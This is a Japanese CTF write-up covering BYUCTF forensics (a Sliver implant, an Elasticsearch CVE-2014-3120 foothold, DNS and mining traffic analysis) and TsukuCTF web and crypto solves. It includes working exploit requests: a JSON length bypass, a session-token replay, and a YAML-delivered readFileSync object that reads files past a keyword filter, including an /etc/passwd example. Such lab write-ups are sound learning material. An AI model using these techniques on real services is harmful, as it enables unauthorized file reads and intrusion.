とあり、このupdate.exeの少し後に上のアラートが出ている。これか?C:\Windows\System32\update.exeに保存されているようなので探してみるとあった。CTFやし、誰かVT上げてるやろと思い、sha256ハッシュを取り、検索するとやはりあった。

https://www.virustotal.com/gui/file/57baac9260834ea53ae47e09d76247a4c692dfbcec05aa4ed141773af7a4754c/

セキュリティベンダーの判定を見ると、Sliverというのは合ってるみたい。Communityに動的解析に投げた結果がいくつかあったので、https://www.vmray.com/analyses/_vt/57baac926083/report/network.html を見ると、通信先のIPアドレスが得られる。よって、byuctf{sliver_192.168.1.224}で正答。

Wimdows 1

What CVE did the attacker exploit to get a shell on the machine? Wrap your answer in byuctf{}. E.g. byuctf{CVE-2021-38759}
Hint: Figure out what process the attacker exploited and look up vulnerabilities associated with it.
攻撃者がマシン上でシェルを取得するために悪用したCVEは何ですか?あなたの回答をbyuctf{}で囲んでください。例:byuctf{CVE-2021-38759}
ヒント:攻撃者がどのプロセスを悪用したかを特定し、それに関連する脆弱性を調べてください。

何を起点に探したものかな。環境を見るとかなり古いのでどこからでも入れそうな気もするが… とりあえず、ここまでの情報から攻撃開始の痕跡が見つかっているのは2025-05-16 11時あたりなので、その辺りの時間で色々見てみることにする。

SysmonのMicrosoft-Windows-Sysmon%4Operational.evtxを見ると

{"EventData":{"Data":[{"@Name":"RuleName","#text":"-"},{"@Name":"UtcTime","#text":"2025-05-16 02:07:47.793"},{"@Name":"ProcessGuid","#text":"0557f2df-0000-0000-12c4-0c0000000000"},{"@Name":"ProcessId","#text":"2144"},{"@Name":"Image","#text":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"},{"@Name":"FileVersion","#text":"10.0.14409.1005 (rs1_srvoob.161208-1155)"},{"@Name":"Description","#text":"Windows PowerShell"},{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},{"@Name":"Company","#text":"Microsoft Corporation"},{"@Name":"OriginalFileName","#text":"PowerShell.EXE"},{"@Name":"CommandLine","#text":"powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand bABzAA=="},{"@Name":"CurrentDirectory","#text":"C:\\Program Files\\elasticsearch-1.1.1\\"},{"@Name":"User","#text":"NT AUTHORITY\\SYSTEM"},{"@Name":"LogonGuid","#text":"0557f2df-0000-0000-e703-000000000000"},{"@Name":"LogonId","#text":"0x3E7"},{"@Name":"TerminalSessionId","#text":"0"},{"@Name":"IntegrityLevel","#text":"System"},{"@Name":"Hashes","#text":"MD5=A575A7610E5F003CC36DF39E07C4BA7D,SHA256=006CEF6EF6488721895D93E4CEF7FA0709C2692D74BDE1E22E2A8719B2A86218,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453"},{"@Name":"ParentProcessGuid","#text":"0557f2df-0000-0000-bbfe-000000000000"},{"@Name":"ParentProcessId","#text":"1448"},{"@Name":"ParentImage","#text":"C:\\Program Files\\elasticsearch-1.1.1\\bin\\elasticsearch-service-x64.exe"},{"@Name":"ParentCommandLine","#text":"\"C:\\Program Files\\elasticsearch-1.1.1\\bin\\elasticsearch-service-x64.exe\" //RS//elasticsearch-service-x64"},{"@Name":"ParentUser","#text":"NT AUTHORITY\\SYSTEM"}]}}

のようなログが残っていて、親プロセスC:\Program Files\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exePowerShellのコマンドを読んでいた。bABzAA=なのでlsを実行している。elasticsearch-1.1.1でRCE出来そうな脆弱性を探すと、CVE-2014-3120が出てきて、これをフォーマットにくるんで答えると正答。

[Forensics] Are You Looking Me Up?

The network has a DNS server that's been receiving a lot of traffic. You've been handed a set of raw network logs. Your job? Hunt down the DNS server that has received the most DNS requests.
Analyze the logs and find the impostor.
Flag format: byuctf{IP1}
ネットワークには、多くのトラフィック(通信量)を受けているDNSサーバーがあります。あなたには、加工されていない生のネットワークログ一式が手渡されました。あなたの仕事は?最も多くのDNSリクエストを受け取ったDNSサーバーを突き止めることです。

ログの中身はこんな感じ

2025-05-06T14:49:32+00:00 155,,,c0dbc3f4f934c1cb95f41a1f3d23a189,vtnet0,match,pass,in,4,0x0,,128,23413,0,none,17,udp,72,172.16.0.10,172.16.0.1,53829,53,52
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,41412,0,none,17,udp,72,172.16.0.10,8.8.8.8,53829,53,52
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,9674,0,DF,6,tcp,52,172.16.0.10,4.149.227.78,65308,443,0,S,3208345317,,64240,,mss;nop;wscale;nop;nop;sackOK
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,63011,0,DF,6,tcp,52,172.16.0.10,52.183.205.142,65309,443,0,S,2199077471,,64240,,mss;nop;wscale;nop;nop;sackOK
2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,21701,0,DF,6,tcp,52,172.16.0.10,13.95.31.18,65310,443,0,S,3089797986,,64240,,mss;nop;wscale;nop;nop;sackOK

最も多いDNSリクエスト先を答えればいいので、

2025-05-06T14:49:32+00:00 164,,,75a2b136446ad166a85f3150b40b7d1e,vtnet0,match,pass,in,4,0x0,,128,41412,0,none,17,udp,72,172.16.0.10,8.8.8.8,53829,53,52

を見ると8.8.8.8が来ている部分に送信先が書かれていて、53というポート番号も見えるので、53のポート番号でスキャンして、送信先IPアドレスを取ってきてカウントするシェル芸をやる。

$ cat logs.txt | grep ",53," | cut -d',' -f20 | sort | uniq -c | sort -rn | head
 133444 172.16.0.1
  73490 216.239.32.106
  41183 172.16.96.1
   3614 8.8.8.8
    215 172.16.16.1
    206 172.16.64.1

で、一番上のやつをフォーマットにくるんで送ると正解。

[Forensics] Mine Over Matter

Your SOC has flagged unusual outbound traffic on a segment of your network. After capturing logs from the router during the anomaly, they handed it over to you—the network analyst.
Somewhere in this mess, two compromised hosts are secretly mining cryptocurrency and draining resources. Analyze the traffic, identify the two rogue IP addresses running miners, and report them to the Incident Response team before your network becomes a crypto farm.
Flag format: byuctf{IP1,IP2} (it doesn't matter what order the IPs are in)
あなたのSOC(セキュリティオペレーションセンター)は、ネットワークの一部で不審なアウトバウンドトラフィック(外部への通信)を検出しました。異常発生中にルーターからログをキャプチャした後、彼らはネットワークアナリストであるあなたにそれを手渡しました。
この大量のデータ(ログ)の中に、2つの侵害されたホストが密かに仮想通貨のマイニングを行い、リソースを枯渇させています。トラフィックを分析し、マイナーを実行している2つの不正なIPアドレスを特定し、あなたのネットワークがクリプトファーム(仮想通貨採掘場)になる前に、それらをインシデント対応チームに報告してください。
フラグ形式:byuctf{IP1,IP2} (IPアドレスの順序は問いません)

前問と同じログが与えられるので、設問に答える問題。「ネットワークの一部で不審なアウトバウンドトラフィック(外部への通信)を検出」とあるので接続先IPアドレスで通信が多いものを見てみる。

$ cat logs.txt | cut -d',' -f20 | sort | uniq -c | sort -rn | head
 164377 172.16.0.1
 129590 239.255.255.250
  73490 216.239.32.106
  58137 255.255.255.255
  42898 172.16.96.1
  18978 104.26.11.102
  18608 104.26.10.102
  18508 172.67.69.190
  17758 1.1.1.1
  17260 51.79.229.21

Public IPアドレスを上から見ていくと、104.26.11.102104.26.10.102に対して、172.16.0.10172.16.0.5から通信が出ていた。これを答えると正解。

TsukuCTF 2025 Writeup

[web] len_len

"length".length is 6 ?

ソースコード有り。メインの部分は以下。

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

app.post("/", (req, res) => {
  const array = req.body.array;
  res.send(chall(array));
});

10文字以上のjsonを送って、それをパースしたものがarray.length < 0を満たせばフラグがもらえる。サンプルは

How to use -> curl -X POST -d 'array=[1,2,3,4]' http://localhost:28888

のように配列を渡す形だが、これを辞書形式に変えて送る。このとき、lengthを指定すればそれを使ってくれる。よって、

curl -X POST -d 'array={"length":-1337}' http://localhost:28888

とするとフラグ。

[web] flash

3, 2, 1, pop!

ソースコード有り。ゴールは実際にサイトを動かすと分かりやすい。フラッシュ暗算で10個の数が表示されるのでその総和を求めればフラグが手に入る。だが、最初と最後のそれぞれ3つずつ以外は見えなくなっているため、普通に総和を取って計算することはできないのでどうするかという問題。

答えを提出してフラグを得るエンドポイントは以下のような感じ。

@app.route('/result', methods=['GET', 'POST'])
def result():
    if request.method == 'GET':
        if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
            return redirect(url_for('flash'))
        token = secrets.token_hex(16)
        session['result_token'] = token
        used_tokens.add(token)
        return render_template('result.html', token=token)

    form_token = request.form.get('token', '')
    if ('result_token' not in session or form_token != session['result_token']
            or form_token not in used_tokens):
        return redirect(url_for('index'))
    used_tokens.remove(form_token)

    ans_str = request.form.get('answer', '').strip()
    if not ans_str.isdigit():
        return redirect(url_for('index'))
    ans = int(ans_str)

    session_id = session.get('session_id')
    correct_sum = 0
    for round_index in range(TOTAL_ROUNDS):
        digits = generate_round_digits(SEED, session_id, round_index)
        number = int(''.join(map(str, digits)))
        correct_sum += number

    session.clear()
    resp = make_response(
        render_template('result.html', submitted=ans, correct=correct_sum,
                        success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
    )
    cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
    resp.set_cookie(cookie_name, '', expires=0)
    return resp

SEEDとsession_idとround_indexを入れてgenerate_round_digits関数で作られる数を10ラウンド分作り、その総和を当てるとフラグが得られる。

セッションの再利用

前半部分の処理について考えてみよう。

if request.method == 'GET':
    if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
        return redirect(url_for('flash'))
    token = secrets.token_hex(16)
    session['result_token'] = token
    used_tokens.add(token)
    return render_template('result.html', token=token)

form_token = request.form.get('token', '')
if ('result_token' not in session or form_token != session['result_token']
        or form_token not in used_tokens):
    return redirect(url_for('index'))
used_tokens.remove(form_token)

まず、GETでアクセスしたときに、result_tokenを発行し、それをPOSTで答えを送ったときに確認して消すということをしている。この処理があるので、答えを再送しても2回目は弾かれるという実装になっている。なぜ、2回目をはじいているかというと、(恐らくだが)以下の部分にあるように回答後は答えを出力しているためである。

resp = make_response(
    render_template('result.html', submitted=ans, correct=correct_sum,
                    success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
)

だが、実装をよく見ると、session自体が無効化されている訳ではないのでGETでresult_tokenを再度作成することで、セッションを再利用することができる。よって、以下の流れで正しい答えを提出することができる。Burp Suiteなどでリクエストを保存しながらやる。

  1. 普通にフラッシュ暗算をスタートする
  2. 最終的にGET /resultが開かれる
  3. 適当な答えをPOST /resultで提出する
  4. 回答に正解が出力されるので、それをコピーしておく -> 65134908
  5. 手順2のGET /resultの記録しておいたリクエストを再送する
  6. すると、Set-Cookieでsessionが、Bodyでresult_tokenが再度発行される
  7. 手順4のPOST /resultCookieのsessionとBodyのtokenとanswerを手順4と手順6のものに入れ替えて送るとフラグが得られる

[web] YAMLwaf

YAML is awesome!!

ソースコード有り。サーバー部分は簡潔。./flag.txtが取得できればフラグ獲得。

app.post('/', (req, res) => {
  try {
    if (req.body.includes('flag')) {
      return res.status(403).send('Not allowed!');
    }
    if (req.body.includes('\\') || req.body.includes('/')
      || req.body.includes('!!') || req.body.includes('<')) {
      return res.status(403).send('Hello, Hacker :)');
    }
    const data = yaml.load(req.body);
    const filePath = data.file;

    if (filePath && fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      return res.send(content);
    } else {
      return res.status(404).send('File not found');
    }
  } catch (err) {
    return res.status(400).send('Invalid request');
  }
});

flagという文字列と\/!<が使えない状態でfile: flag.txtのように読み込めるものを探せという問題。

脈絡はないのだが、手元の資料にメモってあったreadFileSyncに辞書を入れることでファイルを読み込むテクを利用した。corCTF 2022 writeup - st98 の日記帳 - コピーにあるように

> fs.readFileSync({ href: 'a', origin: 'b', protocol: 'file:', pathname: '/etc/p%61sswd', hostname: ''})
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 911 more bytes>

のような辞書を入れてやることでファイル読み込みができる。これを試してみる。YAMLだとパーセントエンコーディングは使えないが、このやり方であれば途中でパーセントエンコーディングを解除してくれるのでflag.txtを%66%6c%61%67%2e%74%78%74のようにして送り込んでも問題ない。よって、以下のようなHTTPリクエストを送るとフラグが手に入る。

POST / HTTP/1.1
Host: localhost:50001
Content-Type: text/plain
Content-Length: 106

file:
  href: a
  origin: b
  protocol: 'file:'
  pathname: '%66%6c%61%67%2e%74%78%74'
  hostname: ''

[crypto] PQC0

PQC(ポスト量子暗号)を使ってみました!

ソースコード prob.py とoutput.txtが与えられる。ソースコードは以下。

# REQUIRED: OpenSSL 3.5.0

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from flag import flag

# generate private key
os.system("openssl genpkey -algorithm ML-KEM-768 -out priv-ml-kem-768.pem")
# generate public key
os.system("openssl pkey -in priv-ml-kem-768.pem -pubout -out pub-ml-kem-768.pem")
# generate shared secret
os.system("openssl pkeyutl -encap -inkey pub-ml-kem-768.pem -secret shared.dat -out ciphertext.dat")

with open("priv-ml-kem-768.pem", "rb") as f:
    private_key = f.read()

print("==== private_key ====")
print(private_key.decode())

with open("ciphertext.dat", "rb") as f:
    ciphertext = f.read()

print("==== ciphertext(hex) ====")
print(ciphertext.hex())

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = AES.new(shared_secret, AES.MODE_ECB).encrypt(pad(flag, 16))

print("==== encrypted_flag(hex) ====")
print(encrypted_flag.hex())

Shared Secretを作って、それを使ってAES-ECBでフラグを暗号化している。output.txtはこのスクリプトの出力結果が置かれていて、秘密鍵、暗号化されたShared Secret、暗号化されたフラグが書かれている。秘密鍵が配布されているので、それを使ってShared Secretを復元し、それを使ってフラグを復元する。

方式はML-KEMという格子暗号をベースにした鍵共有アルゴリズムで、対応しているOpenSSL 3.5.0が必要とコメントにあるので、持ってくる必要があるのだがビルドが一生通らず、結局alpineのedgeレポを使うことにした。

FROM alpine:latest

RUN echo "https://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories && \
    echo "https://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories && \
    apk update && \
    apk add --no-cache openssl bash && \
    rm -rf /var/cache/apk/*

CMD ["bash"]

で用意して、docker build . -t test/test --no-cacheしてdocker run -v ${PWD}:/mnt --rm -it test/testすると、OpenSSL 3.5.0 8 Apr 2025 (Library: OpenSSL 3.5.0 8 Apr 2025)が使えるようになる。秘密鍵をpriv-ml-kem-768.pem、暗号化されたShared Secretをciphertext.datとして保存してopenssl pkeyutl -decap -inkey priv-ml-kem-768.pem -in ciphertext.dat -out shared.datすると、shared.datが復元できるので、後は以下のようにすればフラグが得られる。

from Crypto.Cipher import AES

with open("shared.dat", "rb") as f:
    shared_secret = f.read()

encrypted_flag = bytes.fromhex("5f2b9c04a67523dac3e0b0d17f79aa2879f91ad60ba8d822869ece010a7f78f349ab75794ff4cb08819d79c9f44467bd")
flag = AES.new(shared_secret, AES.MODE_ECB).decrypt(encrypted_flag)
print(flag)

[crypto] a8tsukuctf

適当な KEY を作って暗号化したはずが、 tsukuctf の部分が変わらないなぁ...

暗号化に使うソースコードは以下。

import string

plaintext = '[REDACTED]'
key = '[REDACTED]'

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'


# https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7#%E6%95%B0%E5%BC%8F%E3%81%A7%E3%81%BF%E3%82%8B%E6%9A%97%E5%8F%B7%E5%8C%96%E3%81%A8%E5%BE%A9%E5%8F%B7
def f(p, k):
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p + k) % 26
    return chr(ord('a') + ret)


def encrypt(plaintext, key):
    assert len(key) <= len(plaintext)

    idx = 0
    ciphertext = []
    cipher_without_symbols = []

    for c in plaintext:
        if c in string.ascii_lowercase:
            if idx < len(key):
                k = key[idx]
            else:
                k = cipher_without_symbols[idx-len(key)]
            cipher_without_symbols.append(f(c, k))
            ciphertext.append(f(c, k))
            idx += 1          
        else:
            ciphertext.append(c)

    ciphertext = ''.join(c for c in ciphertext)

    return ciphertext


ciphertext = encrypt(plaintext=plaintext, key=key)

with open('output.txt', 'w') as f:
    f.write(f'{ciphertext=}\n')

ヴィジュネル暗号っぽいが、鍵の2周期目からは鍵を再利用するのではなく、それ以前の暗号文を鍵として利用している。(これもヴィジュネル暗号?もしくは、良く知られた亜種?わからない)ソースコード中にヒントが書いてある。

#    <plaintext>               <ciphertext>
# ...?? tsukuctf, ??... ->  ...aa tsukuctf, hj...
assert plaintext[30:38] == 'tsukuctf'

問題文にもあったように、途中にtsukuctfというのが平文と暗号文に現れ、変わらないよということがかいてある。暗号文を実際に見てみると以下のような感じ。

ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj?

平文と暗号文が変化しないということはaを鍵としていることになる。そして上を見ると、tsukuctfの前にaaaaaaaaと同じ個数分8があるので、これが使われたようだ。また、これがあるということは、鍵の1周期は終わっていることにもなり、

aybwpguu
jmzpwomj
aaaaaaaa
tsukuctf

こんな感じで鍵の長さは8と考えて良さそうだ。鍵の2周期以降はその前の暗号文が使われているので鍵が分からなくても2周期以降を復元することができる。復元しよう。

import string

ciphertext="ayb wpg uujmz pwom jaaaaaa aa tsukuctf, hj vynj? mml ogyt re ozbiymvrosf bfq nvjwsum mbmm ef ntq gudwy fxdzyqyc, yeh sfypf usyv nl imy kcxbyl ecxvboap, epa 'avb' wxxw unyfnpzklrq."
KEY_LEN = 8

def ff(p, k): # reverse function of f
    p = ord(p) - ord('a')
    k = ord(k) - ord('a')
    ret = (p - k + 26) % 26
    return chr(ord('a') + ret)

def decrypt_without_1stblock(ciphertext):
    idx = 0
    plaintext = []
    cipher_without_symbols = []

    for c in ciphertext:
        if c in string.ascii_lowercase:
            if idx < KEY_LEN:
                pass
            else:
                plaintext.append(ff(c, cipher_without_symbols[idx - KEY_LEN]))

            cipher_without_symbols.append(c)
            idx += 1
        else:
            plaintext.append(c)

    plaintext = ''.join(c for c in plaintext)

    return plaintext

plaintext = decrypt_without_1stblock(ciphertext)
print(plaintext)

これを実行すると以下。

$ python3 solver.py 
  joy this problem or tsukuctf, or both? the flag is concatenate the seventh word in the first sentence, the third word in the second sentence, and 'fun' with underscores.

最初の8文字が消えていて分からないがDid you enとかそんな所だろうと推測して、word数を推測しながらフラグを作ると正答。TsukuCTF25{tsukuctf_is_fun}

[crypto] xortsukushift 解けず

つくし君とじゃんけんしよう。負けてもチャンスはいっぱいあるよ! フラグフォーマットは TsukuCTF25{} です。ソースコードは以下。

z3やろ!と投げたら計算が停止しないので、終わりました。GF(2)?

[crypto] PQC1 解けず

シードがあれば一発やろ!と思い見てみると、20 bytes分足りず全てが終わりました。解く方向性がそもそも思いつかず、精進不足。